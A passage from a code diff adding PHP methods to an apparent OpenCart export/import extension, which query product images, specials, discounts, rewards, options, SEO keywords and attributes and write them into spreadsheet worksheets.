+ $data[$j++] = $store_id_list;
+ $layout_list = '';
+ if (isset($layouts[$product_id])) {
+ foreach ($layouts[$product_id] as $store_id => $name) {
+ $layout_list .= ($layout_list=='') ? $store_id.':'.$name : ','.$store_id.':'.$name;
+ }
+ }
+ $data[$j++] = $layout_list;
+ $data[$j++] = $row['related'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['tag'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = $row['sort_order'];
+ $data[$j++] = ($row['subtract']==0) ? 'false' : 'true';
+ $data[$j++] = $row['minimum'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getAdditionalImages( $min_id=null, $max_id=null, $exist_sort_order=true ) {
+ if ($exist_sort_order) {
+ $sql = "SELECT DISTINCT pi.product_id, pi.image, pi.sort_order ";
+ } else {
+ $sql = "SELECT DISTINCT pi.product_id, pi.image ";
+ }
+ $sql .= "FROM `".DB_PREFIX."product_image` pi ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=pi.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=pi.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE pi.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ if ($exist_sort_order) {
+ $sql .= "ORDER BY product_id, sort_order, image;";
+ } else {
+ $sql .= "ORDER BY product_id, image;";
+ }
+ $result = $this->db->query( $sql );
+ return $result->rows;
+ }
+
+
+ protected function populateAdditionalImagesWorksheet( &$worksheet, &$box_format, &$text_format, $min_id=null, $max_id=null) {
+ // check for the existence of product_image.sort_order field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_image` LIKE 'sort_order'";
+ $query = $this->db->query( $sql );
+ $exist_sort_order = ($query->num_rows > 0) ? true : false;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('product_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image'),30)+1);
+ if ($exist_sort_order) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ }
+
+ // The additional images headings row and colum styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'image';
+ if ($exist_sort_order) {
+ $data[$j++] = 'sort_order';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual additional images data
+ $styles = array();
+ $i += 1;
+ $j = 1;
+ $additional_images = $this->getAdditionalImages( $min_id, $max_id, $exist_sort_order );
+ foreach ($additional_images as $row) {
+ $data = array();
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data[$j++] = $row['product_id'];
+ $data[$j++] = $row['image'];
+ if ($exist_sort_order) {
+ $data[$j++] = $row['sort_order'];
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getSpecials( $language_id, $min_id=null, $max_id=null ) {
+ // Newer OC versions use the 'customer_group_description' instead of 'customer_group' table for the 'name' field
+ $exist_table_customer_group_description = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."customer_group_description'" );
+ $exist_table_customer_group_description = ($query->num_rows > 0);
+
+ // get the product specials
+ $sql = "SELECT DISTINCT ps.*, ";
+ $sql .= ($exist_table_customer_group_description) ? "cgd.name " : "cg.name ";
+ $sql .= "FROM `".DB_PREFIX."product_special` ps ";
+ if ($exist_table_customer_group_description) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group_description` cgd ON cgd.customer_group_id=ps.customer_group_id ";
+ $sql .= " AND cgd.language_id=$language_id ";
+ } else {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group` cg ON cg.customer_group_id=ps.customer_group_id ";
+ }
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=ps.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=ps.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE ps.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "ORDER BY ps.product_id, name, ps.priority";
+ $result = $this->db->query( $sql );
+ return $result->rows;
+ }
+
+
+ protected function populateSpecialsWorksheet( &$worksheet, $language_id, &$price_format, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_group')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('priority')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_start'),19)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_end'),19)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'customer_group';
+ $data[$j++] = 'priority';
+ $styles[$j] = &$price_format;
+ $data[$j++] = 'price';
+ $data[$j++] = 'date_start';
+ $data[$j++] = 'date_end';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product specials data
+ $i += 1;
+ $j = 1;
+ $specials = $this->getSpecials( $language_id, $min_id, $max_id );
+ foreach ($specials as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ $data[$j++] = $row['name'];
+ $data[$j++] = $row['priority'];
+ $data[$j++] = $row['price'];
+ $data[$j++] = $row['date_start'];
+ $data[$j++] = $row['date_end'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getDiscounts( $language_id, $min_id=null, $max_id=null ) {
+ // Newer OC versions use the 'customer_group_description' instead of 'customer_group' table for the 'name' field
+ $exist_table_customer_group_description = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."customer_group_description'" );
+ $exist_table_customer_group_description = ($query->num_rows > 0);
+
+ // get the product discounts
+ $sql = "SELECT pd.*, ";
+ $sql .= ($exist_table_customer_group_description) ? "cgd.name " : "cg.name ";
+ $sql .= "FROM `".DB_PREFIX."product_discount` pd ";
+ if ($exist_table_customer_group_description) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group_description` cgd ON cgd.customer_group_id=pd.customer_group_id ";
+ $sql .= " AND cgd.language_id=$language_id ";
+ } else {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group` cg ON cg.customer_group_id=pd.customer_group_id ";
+ }
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=pd.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=pd.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE pd.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "ORDER BY pd.product_id ASC, name ASC, pd.quantity ASC";
+ $result = $this->db->query( $sql );
+ return $result->rows;
+ }
+
+
+ protected function populateDiscountsWorksheet( &$worksheet, $language_id, &$price_format, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_group')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('quantity')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('priority')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_start'),19)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_end'),19)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'customer_group';
+ $data[$j++] = 'quantity';
+ $data[$j++] = 'priority';
+ $styles[$j] = &$price_format;
+ $data[$j++] = 'price';
+ $data[$j++] = 'date_start';
+ $data[$j++] = 'date_end';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product discounts data
+ $i += 1;
+ $j = 1;
+ $discounts = $this->getDiscounts( $language_id, $min_id, $max_id );
+ foreach ($discounts as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ $data[$j++] = $row['name'];
+ $data[$j++] = $row['quantity'];
+ $data[$j++] = $row['priority'];
+ $data[$j++] = $row['price'];
+ $data[$j++] = $row['date_start'];
+ $data[$j++] = $row['date_end'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getRewards( $language_id, $min_id=null, $max_id=null ) {
+ // Newer OC versions use the 'customer_group_description' instead of 'customer_group' table for the 'name' field
+ $exist_table_customer_group_description = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."customer_group_description'" );
+ $exist_table_customer_group_description = ($query->num_rows > 0);
+
+ // get the product rewards
+ $sql = "SELECT DISTINCT pr.*, ";
+ $sql .= ($exist_table_customer_group_description) ? "cgd.name " : "cg.name ";
+ $sql .= "FROM `".DB_PREFIX."product_reward` pr ";
+ if ($exist_table_customer_group_description) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group_description` cgd ON cgd.customer_group_id=pr.customer_group_id ";
+ $sql .= " AND cgd.language_id=$language_id ";
+ } else {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group` cg ON cg.customer_group_id=pr.customer_group_id ";
+ }
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=pr.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=pr.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE pr.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "ORDER BY pr.product_id, name";
+ $result = $this->db->query( $sql );
+ return $result->rows;
+ }
+
+
+ protected function populateRewardsWorksheet( &$worksheet, $language_id, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_group')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('points')+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'customer_group';
+ $data[$j++] = 'points';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product rewards data
+ $i += 1;
+ $j = 1;
+ $rewards = $this->getRewards( $language_id, $min_id, $max_id );
+ foreach ($rewards as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ $data[$j++] = $row['name'];
+ $data[$j++] = $row['points'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getProductOptions( $min_id, $max_id ) {
+ // get default language id
+ $language_id = $this->getDefaultLanguageId();
+
+ // Opencart versions from 2.0 onwards use product_option.value instead of the older product_option.option_value
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_option` LIKE 'value'";
+ $query = $this->db->query( $sql );
+ $exist_po_value = ($query->num_rows > 0) ? true : false;
+
+ // DB query for getting the product options
+ if ($exist_po_value) {
+ $sql = "SELECT p.product_id, po.option_id, po.value AS option_value, po.required, od.name AS `option` FROM ";
+ } else {
+ $sql = "SELECT p.product_id, po.option_id, po.option_value, po.required, od.name AS `option` FROM ";
+ }
+ $sql .= "( SELECT p1.product_id ";
+ $sql .= " FROM `".DB_PREFIX."product` p1 ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=p1.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= " WHERE p1.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p1.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= " ORDER BY p1.product_id ASC ";
+ $sql .= ") AS p ";
+ $sql .= "INNER JOIN `".DB_PREFIX."product_option` po ON po.product_id=p.product_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."option_description` od ON od.option_id=po.option_id AND od.language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY p.product_id ASC, po.option_id ASC";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ protected function populateProductOptionsWorksheet( &$worksheet, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('option_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option'),30)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('default_option_value')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('required'),5)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $data[$j++] = 'option_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'option';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'default_option_value';
+ $data[$j++] = 'required';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product options data
+ $i += 1;
+ $j = 1;
+ $product_options = $this->getProductOptions( $min_id, $max_id );
+ foreach ($product_options as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $data[$j++] = $row['option_id'];
+ } else {
+ $data[$j++] = html_entity_decode($row['option'],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = html_entity_decode($row['option_value'],ENT_QUOTES,'UTF-8');
+ $data[$j++] = ($row['required']==0) ? 'false' : 'true';
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getProductOptionValues( $min_id, $max_id ) {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT ";
+ $sql .= " p.product_id, pov.option_id, pov.option_value_id, pov.quantity, pov.subtract, od.name AS `option`, ovd.name AS option_value, ";
+ $sql .= " pov.price, pov.price_prefix, pov.points, pov.points_prefix, pov.weight, pov.weight_prefix ";
+ $sql .= "FROM ";
+ $sql .= "( SELECT p1.product_id ";
+ $sql .= " FROM `".DB_PREFIX."product` p1 ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=p1.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= " WHERE p1.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p1.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= " ORDER BY product_id ASC ";
+ $sql .= ") AS p ";
+ $sql .= "INNER JOIN `".DB_PREFIX."product_option_value` pov ON pov.product_id=p.product_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."option_value_description` ovd ON ovd.option_value_id=pov.option_value_id AND ovd.language_id='".(int)$language_id."' ";
+ $sql .= "INNER JOIN `".DB_PREFIX."option_description` od ON od.option_id=ovd.option_id AND od.language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY p.product_id ASC, pov.option_id ASC, pov.option_value_id";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ protected function populateProductOptionValuesWorksheet( &$worksheet, &$price_format, &$box_format, &$weight_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('option_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option'),30)+1);
+ }
+ if ($this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('option_value_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option_value'),30)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('quantity'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('subtract'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price_prefix'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points_prefix'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight_prefix'),5)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $data[$j++] = 'option_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'option';
+ }
+ if ($this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $data[$j++] = 'option_value_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'option_value';
+ }
+ $data[$j++] = 'quantity';
+ $data[$j++] = 'subtract';
+ $styles[$j] = &$price_format;
+ $data[$j++] = 'price';
+ $data[$j++] = "price_prefix";
+ $data[$j++] = 'points';
+ $data[$j++] = "points_prefix";
+ $styles[$j] = &$weight_format;
+ $data[$j++] = 'weight';
+ $data[$j++] = 'weight_prefix';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product option values data
+ $i += 1;
+ $j = 1;
+ $product_option_values = $this->getProductOptionValues( $min_id, $max_id );
+ foreach ($product_option_values as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $data[$j++] = $row['option_id'];
+ } else {
+ $data[$j++] = html_entity_decode($row['option'],ENT_QUOTES,'UTF-8');
+ }
+ if ($this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $data[$j++] = $row['option_value_id'];
+ } else {
+ $data[$j++] = html_entity_decode($row['option_value'],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = $row['quantity'];
+ $data[$j++] = ($row['subtract']==0) ? 'false' : 'true';
+ $data[$j++] = $row['price'];
+ $data[$j++] = $row['price_prefix'];
+ $data[$j++] = $row['points'];
+ $data[$j++] = $row['points_prefix'];
+ $data[$j++] = $row['weight'];
+ $data[$j++] = $row['weight_prefix'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getProductSEOKeywords( &$languages, $min_id, $max_id ) {
+ $sql = "SELECT s.* FROM `".DB_PREFIX."seo_url` s ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=CAST(SUBSTRING(s.query FROM 12) AS UNSIGNED INTEGER) ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=CAST(SUBSTRING(s.query FROM 12) AS UNSIGNED INTEGER) ";
+ }
+ $sql .= "WHERE s.query LIKE 'product_id=%' AND ";
+ if ($this->posted_categories) {
+ $sql .= "pc.category_id IN ".$this->posted_categories." AND ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." AND ";
+ }
+ $sql .= "CAST(SUBSTRING(s.query FROM 12) AS UNSIGNED INTEGER) >= '".(int)$min_id."' AND ";
+ $sql .= "CAST(SUBSTRING(s.query FROM 12) AS UNSIGNED INTEGER) <= '".(int)$max_id."' ";
+ $sql .= "ORDER BY CAST(SUBSTRING(s.query FROM 12) AS UNSIGNED INTEGER), s.store_id, s.language_id";
+ $query = $this->db->query( $sql );
+ $seo_keywords = array();
+ foreach ($query->rows as $row) {
+ $product_id = (int)substr($row['query'],11);
+ $store_id = (int)$row['store_id'];
+ $language_id = (int)$row['language_id'];
+ if (!isset($seo_keywords[$product_id])) {
+ $seo_keywords[$product_id] = array();
+ }
+ if (!isset($seo_keywords[$product_id][$store_id])) {
+ $seo_keywords[$product_id][$store_id] = array();
+ }
+ $seo_keywords[$product_id][$store_id][$language_id] = $row['keyword'];
+ }
+ $results = array();
+ foreach ($seo_keywords as $product_id=>$val1) {
+ foreach ($val1 as $store_id=>$val2) {
+ $keyword = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $keyword[$language_code] = isset($val2[$language_id]) ? $val2[$language_id] : '';
+ }
+ $results[] = array(
+ 'product_id' => $product_id,
+ 'store_id' => $store_id,
+ 'keyword' => $keyword
+ );
+ }
+ }
+ return $results;
+ }
+
+
+ protected function populateProductSEOKeywordsWorksheet( &$worksheet, &$languages, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('store_id')+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('keyword')+4,30)+1);
+ }
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ $data[$j++] = 'store_id';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'keyword('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product SEO keywords data
+ $i += 1;
+ $j = 1;
+ $product_seo_keywords = $this->getProductSEOKeywords( $languages, $min_id, $max_id );
+ foreach ($product_seo_keywords as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(26);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ $data[$j++] = $row['store_id'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['keyword'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+
+ }
+
+
+ protected function getAttributeGroupNames( $language_id ) {
+ $sql = "SELECT attribute_group_id, name ";
+ $sql .= "FROM `".DB_PREFIX."attribute_group_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY attribute_group_id ASC";
+ $query = $this->db->query( $sql );
+ $attribute_group_names = array();
+ foreach ($query->rows as $row) {
+ $attribute_group_id = $row['attribute_group_id'];
+ $name = $row['name'];
+ $attribute_group_names[$attribute_group_id] = $name;
+ }
+ return $attribute_group_names;
+ }
+
+
+ protected function getAttributeNames( $language_id ) {
+ $sql = "SELECT attribute_id, name ";
+ $sql .= "FROM `".DB_PREFIX."attribute_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY attribute_id ASC";
+ $query = $this->db->query( $sql );
+ $attribute_names = array();
+ foreach ($query->rows as $row) {
+ $attribute_id = $row['attribute_id'];
+ $attribute_name = $row['name'];
+ $attribute_names[$attribute_id] = $attribute_name;
+ }
+ return $attribute_names;
+ }
+
+
+ protected function getProductAttributes( &$languages, $min_id, $max_id ) {
+ $sql = "SELECT pa.product_id, ag.attribute_group_id, pa.attribute_id, pa.language_id, pa.text ";
+ $sql .= "FROM `".DB_PREFIX."product_attribute` pa ";
+ $sql .= "INNER JOIN `".DB_PREFIX."attribute` a ON a.attribute_id=pa.attribute_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."attribute_group` ag ON ag.attribute_group_id=a.attribute_group_id ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=pa.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=pa.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE pa.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? " WHERE " : " AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "ORDER BY pa.product_id ASC, ag.attribute_group_id ASC, pa.attribute_id ASC";
+ $query = $this->db->query( $sql );
+ $texts = array();
+ foreach ($query->rows as $row) {
+ $product_id = $row['product_id'];
+ $attribute_group_id = $row['attribute_group_id'];
+ $attribute_id = $row['attribute_id'];
+ $language_id = $row['language_id'];
+ $text = $row['text'];
+ $texts[$product_id][$attribute_group_id][$attribute_id][$language_id] = $text;
+ }
+ $product_attributes = array();
+ foreach ($texts as $product_id=>$level1) {
+ foreach ($level1 as $attribute_group_id=>$level2) {
+ foreach ($level2 as $attribute_id=>$text) {
+ $product_attribute = array();
+ $product_attribute['product_id'] = $product_id;
